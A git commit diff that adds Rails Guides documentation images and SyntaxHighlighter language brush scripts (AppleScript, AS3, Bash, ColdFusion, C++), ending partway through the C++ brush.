Commit 7d04566c

mo khan <email@mokhan.ca>
2011-04-29 00:27:05
add rspec, carrierwave gems.
1 parent 07e8601
Changed files (157)
doc
guides
images
javascripts
stylesheets
doc/guides/images/i18n/demo_localized_pirate.png
Binary file
doc/guides/images/i18n/demo_translated_en.png
Binary file
doc/guides/images/i18n/demo_translated_pirate.png
Binary file
doc/guides/images/i18n/demo_translation_missing.png
Binary file
doc/guides/images/i18n/demo_untranslated.png
Binary file
doc/guides/images/icons/callouts/1.png
Binary file
doc/guides/images/icons/callouts/10.png
Binary file
doc/guides/images/icons/callouts/11.png
Binary file
doc/guides/images/icons/callouts/12.png
Binary file
doc/guides/images/icons/callouts/13.png
Binary file
doc/guides/images/icons/callouts/14.png
Binary file
doc/guides/images/icons/callouts/15.png
Binary file
doc/guides/images/icons/callouts/2.png
Binary file
doc/guides/images/icons/callouts/3.png
Binary file
doc/guides/images/icons/callouts/4.png
Binary file
doc/guides/images/icons/callouts/5.png
Binary file
doc/guides/images/icons/callouts/6.png
Binary file
doc/guides/images/icons/callouts/7.png
Binary file
doc/guides/images/icons/callouts/8.png
Binary file
doc/guides/images/icons/callouts/9.png
Binary file
doc/guides/images/icons/caution.png
Binary file
doc/guides/images/icons/example.png
Binary file
doc/guides/images/icons/home.png
Binary file
doc/guides/images/icons/important.png
Binary file
doc/guides/images/icons/next.png
Binary file
doc/guides/images/icons/note.png
Binary file
doc/guides/images/icons/prev.png
Binary file
doc/guides/images/icons/README
@@ -0,0 +1,5 @@
+Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook
+icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency
+from the Jimmac icons to get round MS IE and FOP PNG incompatibilies.
+
+Stuart Rackham
doc/guides/images/icons/tip.png
Binary file
doc/guides/images/icons/up.png
Binary file
doc/guides/images/icons/warning.png
Binary file
doc/guides/images/belongs_to.png
Binary file
doc/guides/images/book_icon.gif
Binary file
doc/guides/images/bullet.gif
Binary file
doc/guides/images/challenge.png
Binary file
doc/guides/images/chapters_icon.gif
Binary file
doc/guides/images/check_bullet.gif
Binary file
doc/guides/images/credits_pic_blank.gif
Binary file
doc/guides/images/csrf.png
Binary file
doc/guides/images/customized_error_messages.png
Binary file
doc/guides/images/edge_badge.png
Binary file
doc/guides/images/error_messages.png
Binary file
doc/guides/images/feature_tile.gif
Binary file
doc/guides/images/footer_tile.gif
Binary file
doc/guides/images/fxn.png
Binary file
doc/guides/images/grey_bullet.gif
Binary file
doc/guides/images/habtm.png
Binary file
doc/guides/images/has_many.png
Binary file
doc/guides/images/has_many_through.png
Binary file
doc/guides/images/has_one.png
Binary file
doc/guides/images/has_one_through.png
Binary file
doc/guides/images/header_backdrop.png
Binary file
doc/guides/images/header_tile.gif
Binary file
doc/guides/images/jaimeiniesta.jpg
Binary file
doc/guides/images/nav_arrow.gif
Binary file
doc/guides/images/polymorphic.png
Binary file
doc/guides/images/posts_index.png
Binary file
doc/guides/images/rails_guides_logo.gif
Binary file
doc/guides/images/rails_logo_remix.gif
Binary file
doc/guides/images/rails_welcome.png
Binary file
doc/guides/images/session_fixation.png
Binary file
doc/guides/images/tab_grey.gif
Binary file
doc/guides/images/tab_info.gif
Binary file
doc/guides/images/tab_note.gif
Binary file
doc/guides/images/tab_red.gif
Binary file
doc/guides/images/tab_yellow.gif
Binary file
doc/guides/images/tab_yellow.png
Binary file
doc/guides/images/validation_error_messages.png
Binary file
doc/guides/javascripts/syntaxhighlighter/shBrushAppleScript.js
@@ -0,0 +1,75 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// AppleScript brush by David Chambers
+		// http://davidchambersdesign.com/
+		var keywords   = 'after before beginning continue copy each end every from return get global in local named of set some that the then times to where whose with without';
+		var ordinals   = 'first second third fourth fifth sixth seventh eighth ninth tenth last front back middle';
+		var specials   = 'activate add alias AppleScript ask attachment boolean class constant delete duplicate empty exists false id integer list make message modal modified new no paragraph pi properties quit real record remove rest result reveal reverse run running save string true word yes';
+
+		this.regexList = [
+
+			{ regex: /(--|#).*$/gm,
+			    css: 'comments' },
+
+			{ regex: /\(\*(?:[\s\S]*?\(\*[\s\S]*?\*\))*[\s\S]*?\*\)/gm, // support nested comments
+			    css: 'comments' },
+
+			{ regex: /"[\s\S]*?"/gm,
+			    css: 'string' },
+
+			{ regex: /(?:,|:|ยฌ|'s\b|\(|\)|\{|\}|ยซ|\b\w*ยป)/g,
+			    css: 'color1' },
+
+			{ regex: /(-)?(\d)+(\.(\d)?)?(E\+(\d)+)?/g, // numbers
+			    css: 'color1' },
+
+			{ regex: /(?:&(amp;|gt;|lt;)?|=|๏ฟฝ |>|<|โ‰ฅ|>=|โ‰ค|<=|\*|\+|-|\/|รท|\^)/g,
+			    css: 'color2' },
+
+			{ regex: /\b(?:and|as|div|mod|not|or|return(?!\s&)(ing)?|equals|(is(n't| not)? )?equal( to)?|does(n't| not) equal|(is(n't| not)? )?(greater|less) than( or equal( to)?)?|(comes|does(n't| not) come) (after|before)|is(n't| not)?( in)? (back|front) of|is(n't| not)? behind|is(n't| not)?( (in|contained by))?|does(n't| not) contain|contain(s)?|(start|begin|end)(s)? with|((but|end) )?(consider|ignor)ing|prop(erty)?|(a )?ref(erence)?( to)?|repeat (until|while|with)|((end|exit) )?repeat|((else|end) )?if|else|(end )?(script|tell|try)|(on )?error|(put )?into|(of )?(it|me)|its|my|with (timeout( of)?|transaction)|end (timeout|transaction))\b/g,
+			    css: 'keyword' },
+
+			{ regex: /\b\d+(st|nd|rd|th)\b/g, // ordinals
+			    css: 'keyword' },
+
+			{ regex: /\b(?:about|above|against|around|at|below|beneath|beside|between|by|(apart|aside) from|(instead|out) of|into|on(to)?|over|since|thr(ough|u)|under)\b/g,
+			    css: 'color3' },
+
+			{ regex: /\b(?:adding folder items to|after receiving|choose( ((remote )?application|color|folder|from list|URL))?|clipboard info|set the clipboard to|(the )?clipboard|entire contents|display(ing| (alert|dialog|mode))?|document( (edited|file|nib name))?|file( (name|type))?|(info )?for|giving up after|(name )?extension|quoted form|return(ed)?|second(?! item)(s)?|list (disks|folder)|text item(s| delimiters)?|(Unicode )?text|(disk )?item(s)?|((current|list) )?view|((container|key) )?window|with (data|icon( (caution|note|stop))?|parameter(s)?|prompt|properties|seed|title)|case|diacriticals|hyphens|numeric strings|punctuation|white space|folder creation|application(s( folder)?| (processes|scripts position|support))?|((desktop )?(pictures )?|(documents|downloads|favorites|home|keychain|library|movies|music|public|scripts|sites|system|users|utilities|workflows) )folder|desktop|Folder Action scripts|font(s| panel)?|help|internet plugins|modem scripts|(system )?preferences|printer descriptions|scripting (additions|components)|shared (documents|libraries)|startup (disk|items)|temporary items|trash|on server|in AppleTalk zone|((as|long|short) )?user name|user (ID|locale)|(with )?password|in (bundle( with identifier)?|directory)|(close|open for) access|read|write( permission)?|(g|s)et eof|using( delimiters)?|starting at|default (answer|button|color|country code|entr(y|ies)|identifiers|items|name|location|script editor)|hidden( answer)?|open(ed| (location|untitled))?|error (handling|reporting)|(do( shell)?|load|run|store) script|administrator privileges|altering line endings|get volume settings|(alert|boot|input|mount|output|set) volume|output muted|(fax|random )?number|round(ing)?|up|down|toward zero|to nearest|as taught in school|system (attribute|info)|((AppleScript( Studio)?|system) )?version|(home )?directory|(IPv4|primary Ethernet) address|CPU (type|speed)|physical memory|time (stamp|to GMT)|replacing|ASCII (character|number)|localized string|from table|offset|summarize|beep|delay|say|(empty|multiple) selections allowed|(of|preferred) type|invisibles|showing( package contents)?|editable URL|(File|FTP|News|Media|Web) [Ss]ervers|Telnet hosts|Directory services|Remote applications|waiting until completion|saving( (in|to))?|path (for|to( (((current|frontmost) )?application|resource))?)|POSIX (file|path)|(background|RGB) color|(OK|cancel) button name|cancel button|button(s)?|cubic ((centi)?met(re|er)s|yards|feet|inches)|square ((kilo)?met(re|er)s|miles|yards|feet)|(centi|kilo)?met(re|er)s|miles|yards|feet|inches|lit(re|er)s|gallons|quarts|(kilo)?grams|ounces|pounds|degrees (Celsius|Fahrenheit|Kelvin)|print( (dialog|settings))?|clos(e(able)?|ing)|(de)?miniaturized|miniaturizable|zoom(ed|able)|attribute run|action (method|property|title)|phone|email|((start|end)ing|home) page|((birth|creation|current|custom|modification) )?date|((((phonetic )?(first|last|middle))|computer|host|maiden|related) |nick)?name|aim|icq|jabber|msn|yahoo|address(es)?|save addressbook|should enable action|city|country( code)?|formatte(r|d address)|(palette )?label|state|street|zip|AIM [Hh]andle(s)?|my card|select(ion| all)?|unsaved|(alpha )?value|entr(y|ies)|group|(ICQ|Jabber|MSN) handle|person|people|company|department|icon image|job title|note|organization|suffix|vcard|url|copies|collating|pages (across|down)|request print time|target( printer)?|((GUI Scripting|Script menu) )?enabled|show Computer scripts|(de)?activated|awake from nib|became (key|main)|call method|of (class|object)|center|clicked toolbar item|closed|for document|exposed|(can )?hide|idle|keyboard (down|up)|event( (number|type))?|launch(ed)?|load (image|movie|nib|sound)|owner|log|mouse (down|dragged|entered|exited|moved|up)|move|column|localization|resource|script|register|drag (info|types)|resigned (active|key|main)|resiz(e(d)?|able)|right mouse (down|dragged|up)|scroll wheel|(at )?index|should (close|open( untitled)?|quit( after last window closed)?|zoom)|((proposed|screen) )?bounds|show(n)?|behind|in front of|size (mode|to fit)|update(d| toolbar item)?|was (hidden|miniaturized)|will (become active|close|finish launching|hide|miniaturize|move|open|quit|(resign )?active|((maximum|minimum|proposed) )?size|show|zoom)|bundle|data source|movie|pasteboard|sound|tool(bar| tip)|(color|open|save) panel|coordinate system|frontmost|main( (bundle|menu|window))?|((services|(excluded from )?windows) )?menu|((executable|frameworks|resource|scripts|shared (frameworks|support)) )?path|(selected item )?identifier|data|content(s| view)?|character(s)?|click count|(command|control|option|shift) key down|context|delta (x|y|z)|key( code)?|location|pressure|unmodified characters|types|(first )?responder|playing|(allowed|selectable) identifiers|allows customization|(auto saves )?configuration|visible|image( name)?|menu form representation|tag|user(-| )defaults|associated file name|(auto|needs) display|current field editor|floating|has (resize indicator|shadow)|hides when deactivated|level|minimized (image|title)|opaque|position|release when closed|sheet|title(d)?)\b/g,
+			    css: 'color3' },
+
+			{ regex: new RegExp(this.getKeywords(specials), 'gm'), css: 'color3' },
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' },
+			{ regex: new RegExp(this.getKeywords(ordinals), 'gm'), css: 'keyword' }
+		];
+	};
+
+	Brush.prototype = new SyntaxHighlighter.Highlighter();
+	Brush.aliases = ['applescript'];
+
+	SyntaxHighlighter.brushes.AppleScript = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushAS3.js
@@ -0,0 +1,59 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Created by Peter Atoria @ http://iAtoria.com
+	
+		var inits 	 =  'class interface function package';
+	
+		var keywords =	'-Infinity ...rest Array as AS3 Boolean break case catch const continue Date decodeURI ' + 
+						'decodeURIComponent default delete do dynamic each else encodeURI encodeURIComponent escape ' + 
+						'extends false final finally flash_proxy for get if implements import in include Infinity ' + 
+						'instanceof int internal is isFinite isNaN isXMLName label namespace NaN native new null ' + 
+						'Null Number Object object_proxy override parseFloat parseInt private protected public ' + 
+						'return set static String super switch this throw true try typeof uint undefined unescape ' + 
+						'use void while with'
+						;
+	
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },		// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },		// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// single quoted strings
+			{ regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi,				css: 'value' },			// numbers
+			{ regex: new RegExp(this.getKeywords(inits), 'gm'),			css: 'color3' },		// initializations
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' },		// keywords
+			{ regex: new RegExp('var', 'gm'),							css: 'variable' },		// variable
+			{ regex: new RegExp('trace', 'gm'),							css: 'color1' }			// trace
+			];
+	
+		this.forHtmlScript(SyntaxHighlighter.regexLib.scriptScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['actionscript3', 'as3'];
+
+	SyntaxHighlighter.brushes.AS3 = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushBash.js
@@ -0,0 +1,59 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'if fi then elif else for do done until while break continue case function return in eq ne ge le';
+		var commands =  'alias apropos awk basename bash bc bg builtin bzip2 cal cat cd cfdisk chgrp chmod chown chroot' +
+						'cksum clear cmp comm command cp cron crontab csplit cut date dc dd ddrescue declare df ' +
+						'diff diff3 dig dir dircolors dirname dirs du echo egrep eject enable env ethtool eval ' +
+						'exec exit expand export expr false fdformat fdisk fg fgrep file find fmt fold format ' +
+						'free fsck ftp gawk getopts grep groups gzip hash head history hostname id ifconfig ' +
+						'import install join kill less let ln local locate logname logout look lpc lpr lprint ' +
+						'lprintd lprintq lprm ls lsof make man mkdir mkfifo mkisofs mknod more mount mtools ' +
+						'mv netstat nice nl nohup nslookup open op passwd paste pathchk ping popd pr printcap ' +
+						'printenv printf ps pushd pwd quota quotacheck quotactl ram rcp read readonly renice ' +
+						'remsync rm rmdir rsync screen scp sdiff sed select seq set sftp shift shopt shutdown ' +
+						'sleep sort source split ssh strace su sudo sum symlink sync tail tar tee test time ' +
+						'times touch top traceroute trap tr true tsort tty type ulimit umask umount unalias ' +
+						'uname unexpand uniq units unset unshar useradd usermod users uuencode uudecode v vdir ' +
+						'vi watch wc whereis which who whoami Wget xargs yes'
+						;
+
+		this.regexList = [
+			{ regex: /^#!.*$/gm,											css: 'preprocessor bold' },
+			{ regex: /\/[\w-\/]+/gm,										css: 'plain' },
+			{ regex: SyntaxHighlighter.regexLib.singleLinePerlComments,		css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,			css: 'string' },		// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,			css: 'string' },		// single quoted strings
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),			css: 'keyword' },		// keywords
+			{ regex: new RegExp(this.getKeywords(commands), 'gm'),			css: 'functions' }		// commands
+			];
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['bash', 'shell'];
+
+	SyntaxHighlighter.brushes.Bash = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushColdFusion.js
@@ -0,0 +1,100 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Jen
+		// http://www.jensbits.com/2009/05/14/coldfusion-brush-for-syntaxhighlighter-plus
+	
+		var funcs	=	'Abs ACos AddSOAPRequestHeader AddSOAPResponseHeader AjaxLink AjaxOnLoad ArrayAppend ArrayAvg ArrayClear ArrayDeleteAt ' + 
+						'ArrayInsertAt ArrayIsDefined ArrayIsEmpty ArrayLen ArrayMax ArrayMin ArraySet ArraySort ArraySum ArraySwap ArrayToList ' + 
+						'Asc ASin Atn BinaryDecode BinaryEncode BitAnd BitMaskClear BitMaskRead BitMaskSet BitNot BitOr BitSHLN BitSHRN BitXor ' + 
+						'Ceiling CharsetDecode CharsetEncode Chr CJustify Compare CompareNoCase Cos CreateDate CreateDateTime CreateObject ' + 
+						'CreateODBCDate CreateODBCDateTime CreateODBCTime CreateTime CreateTimeSpan CreateUUID DateAdd DateCompare DateConvert ' + 
+						'DateDiff DateFormat DatePart Day DayOfWeek DayOfWeekAsString DayOfYear DaysInMonth DaysInYear DE DecimalFormat DecrementValue ' + 
+						'Decrypt DecryptBinary DeleteClientVariable DeserializeJSON DirectoryExists DollarFormat DotNetToCFType Duplicate Encrypt ' + 
+						'EncryptBinary Evaluate Exp ExpandPath FileClose FileCopy FileDelete FileExists FileIsEOF FileMove FileOpen FileRead ' + 
+						'FileReadBinary FileReadLine FileSetAccessMode FileSetAttribute FileSetLastModified FileWrite Find FindNoCase FindOneOf ' + 
+						'FirstDayOfMonth Fix FormatBaseN GenerateSecretKey GetAuthUser GetBaseTagData GetBaseTagList GetBaseTemplatePath ' + 
+						'GetClientVariablesList GetComponentMetaData GetContextRoot GetCurrentTemplatePath GetDirectoryFromPath GetEncoding ' + 
+						'GetException GetFileFromPath GetFileInfo GetFunctionList GetGatewayHelper GetHttpRequestData GetHttpTimeString ' + 
+						'GetK2ServerDocCount GetK2ServerDocCountLimit GetLocale GetLocaleDisplayName GetLocalHostIP GetMetaData GetMetricData ' + 
+						'GetPageContext GetPrinterInfo GetProfileSections GetProfileString GetReadableImageFormats GetSOAPRequest GetSOAPRequestHeader ' + 
+						'GetSOAPResponse GetSOAPResponseHeader GetTempDirectory GetTempFile GetTemplatePath GetTickCount GetTimeZoneInfo GetToken ' + 
+						'GetUserRoles GetWriteableImageFormats Hash Hour HTMLCodeFormat HTMLEditFormat IIf ImageAddBorder ImageBlur ImageClearRect ' + 
+						'ImageCopy ImageCrop ImageDrawArc ImageDrawBeveledRect ImageDrawCubicCurve ImageDrawLine ImageDrawLines ImageDrawOval ' + 
+						'ImageDrawPoint ImageDrawQuadraticCurve ImageDrawRect ImageDrawRoundRect ImageDrawText ImageFlip ImageGetBlob ImageGetBufferedImage ' + 
+						'ImageGetEXIFTag ImageGetHeight ImageGetIPTCTag ImageGetWidth ImageGrayscale ImageInfo ImageNegative ImageNew ImageOverlay ImagePaste ' + 
+						'ImageRead ImageReadBase64 ImageResize ImageRotate ImageRotateDrawingAxis ImageScaleToFit ImageSetAntialiasing ImageSetBackgroundColor ' + 
+						'ImageSetDrawingColor ImageSetDrawingStroke ImageSetDrawingTransparency ImageSharpen ImageShear ImageShearDrawingAxis ImageTranslate ' + 
+						'ImageTranslateDrawingAxis ImageWrite ImageWriteBase64 ImageXORDrawingMode IncrementValue InputBaseN Insert Int IsArray IsBinary ' + 
+						'IsBoolean IsCustomFunction IsDate IsDDX IsDebugMode IsDefined IsImage IsImageFile IsInstanceOf IsJSON IsLeapYear IsLocalHost ' + 
+						'IsNumeric IsNumericDate IsObject IsPDFFile IsPDFObject IsQuery IsSimpleValue IsSOAPRequest IsStruct IsUserInAnyRole IsUserInRole ' + 
+						'IsUserLoggedIn IsValid IsWDDX IsXML IsXmlAttribute IsXmlDoc IsXmlElem IsXmlNode IsXmlRoot JavaCast JSStringFormat LCase Left Len ' + 
+						'ListAppend ListChangeDelims ListContains ListContainsNoCase ListDeleteAt ListFind ListFindNoCase ListFirst ListGetAt ListInsertAt ' + 
+						'ListLast ListLen ListPrepend ListQualify ListRest ListSetAt ListSort ListToArray ListValueCount ListValueCountNoCase LJustify Log ' + 
+						'Log10 LSCurrencyFormat LSDateFormat LSEuroCurrencyFormat LSIsCurrency LSIsDate LSIsNumeric LSNumberFormat LSParseCurrency LSParseDateTime ' + 
+						'LSParseEuroCurrency LSParseNumber LSTimeFormat LTrim Max Mid Min Minute Month MonthAsString Now NumberFormat ParagraphFormat ParseDateTime ' + 
+						'Pi PrecisionEvaluate PreserveSingleQuotes Quarter QueryAddColumn QueryAddRow QueryConvertForGrid QueryNew QuerySetCell QuotedValueList Rand ' + 
+						'Randomize RandRange REFind REFindNoCase ReleaseComObject REMatch REMatchNoCase RemoveChars RepeatString Replace ReplaceList ReplaceNoCase ' + 
+						'REReplace REReplaceNoCase Reverse Right RJustify Round RTrim Second SendGatewayMessage SerializeJSON SetEncoding SetLocale SetProfileString ' + 
+						'SetVariable Sgn Sin Sleep SpanExcluding SpanIncluding Sqr StripCR StructAppend StructClear StructCopy StructCount StructDelete StructFind ' + 
+						'StructFindKey StructFindValue StructGet StructInsert StructIsEmpty StructKeyArray StructKeyExists StructKeyList StructKeyList StructNew ' + 
+						'StructSort StructUpdate Tan TimeFormat ToBase64 ToBinary ToScript ToString Trim UCase URLDecode URLEncodedFormat URLSessionFormat Val ' + 
+						'ValueList VerifyClient Week Wrap Wrap WriteOutput XmlChildPos XmlElemNew XmlFormat XmlGetNodeType XmlNew XmlParse XmlSearch XmlTransform ' + 
+						'XmlValidate Year YesNoFormat';
+
+		var keywords =	'cfabort cfajaximport cfajaxproxy cfapplet cfapplication cfargument cfassociate cfbreak cfcache cfcalendar ' + 
+						'cfcase cfcatch cfchart cfchartdata cfchartseries cfcol cfcollection cfcomponent cfcontent cfcookie cfdbinfo ' + 
+						'cfdefaultcase cfdirectory cfdiv cfdocument cfdocumentitem cfdocumentsection cfdump cfelse cfelseif cferror ' + 
+						'cfexchangecalendar cfexchangeconnection cfexchangecontact cfexchangefilter cfexchangemail cfexchangetask ' + 
+						'cfexecute cfexit cffeed cffile cfflush cfform cfformgroup cfformitem cfftp cffunction cfgrid cfgridcolumn ' + 
+						'cfgridrow cfgridupdate cfheader cfhtmlhead cfhttp cfhttpparam cfif cfimage cfimport cfinclude cfindex ' + 
+						'cfinput cfinsert cfinterface cfinvoke cfinvokeargument cflayout cflayoutarea cfldap cflocation cflock cflog ' + 
+						'cflogin cfloginuser cflogout cfloop cfmail cfmailparam cfmailpart cfmenu cfmenuitem cfmodule cfNTauthenticate ' + 
+						'cfobject cfobjectcache cfoutput cfparam cfpdf cfpdfform cfpdfformparam cfpdfparam cfpdfsubform cfpod cfpop ' + 
+						'cfpresentation cfpresentationslide cfpresenter cfprint cfprocessingdirective cfprocparam cfprocresult ' + 
+						'cfproperty cfquery cfqueryparam cfregistry cfreport cfreportparam cfrethrow cfreturn cfsavecontent cfschedule ' + 
+						'cfscript cfsearch cfselect cfset cfsetting cfsilent cfslider cfsprydataset cfstoredproc cfswitch cftable ' + 
+						'cftextarea cfthread cfthrow cftimer cftooltip cftrace cftransaction cftree cftreeitem cftry cfupdate cfwddx ' + 
+						'cfwindow cfxml cfzip cfzipparam';
+
+		var operators =	'all and any between cross in join like not null or outer some';
+
+		this.regexList = [
+			{ regex: new RegExp('--(.*)$', 'gm'),						css: 'comments' },  // one line and multiline comments
+			{ regex: SyntaxHighlighter.regexLib.xmlComments,			css: 'comments' },    // single quoted strings
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },    // double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },    // single quoted strings
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),		css: 'functions' }, // functions
+			{ regex: new RegExp(this.getKeywords(operators), 'gmi'),	css: 'color1' },    // operators and such
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),		css: 'keyword' }    // keyword
+			];
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['coldfusion','cf'];
+	
+	SyntaxHighlighter.brushes.ColdFusion = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
doc/guides/javascripts/syntaxhighlighter/shBrushCpp.js
@@ -0,0 +1,97 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Copyright 2006 Shin, YoungJin
+	
+		var datatypes =	'ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR ' +
+						'DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH ' +
+						'HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP ' +
+						'HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY ' +
+						'HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT ' +
+						'HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE ' +
+						'LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF ' +
+						'LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR ' +
+						'LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR ' +
+						'PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT ' +
+						'PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 ' +
+						'POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR ' +
+						'PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 ' +
+						'PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT ' +
+						'SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG ' +
+						'ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM ' +
+						'char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t ' +
+						'clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS ' +
+						'FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t ' +
+						'__wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t ' +
+						'jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler ' +
+						'sig_atomic_t size_t _stat __stat64 _stati64 terminate_function ' +
+						'time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf ' +
+						'va_list wchar_t wctrans_t wctype_t wint_t signed';
+
+		var keywords =	'break case catch class const __finally __exception __try ' +
+						'const_cast continue private public protected __declspec ' +
+						'default delete deprecated dllexport dllimport do dynamic_cast ' +
+						'else enum explicit extern if for friend goto inline ' +
+						'mutable naked namespace new noinline noreturn nothrow ' +
+						'register reinterpret_cast return selectany ' +
+						'sizeof static static_cast struct switch template this ' +
+						'thread throw true false try typedef typeid typename union ' +
+						'using uuid virtual void volatile whcar_t while';
+					
+		var functions =	'assert isalnum isalpha iscntrl isdigit isgraph islower isprint' +
+						'ispunct isspace isupper isxdigit tolower toupper errno localeconv ' +
+						'setlocale acos asin atan atan2 ceil cos cosh exp fabs floor fmod ' +
+						'frexp ldexp log log10 modf pow sin sinh sqrt tan tanh jmp_buf ' +
+						'longjmp setjmp raise signal sig_atomic_t va_arg va_end va_start ' +
+						'clearerr fclose feof ferror fflush fgetc fgetpos fgets fopen ' +
+						'fprintf fputc fputs fread freopen fscanf fseek fsetpos ftell ' +
+						'fwrite getc getchar gets perror printf putc putchar puts remove ' +
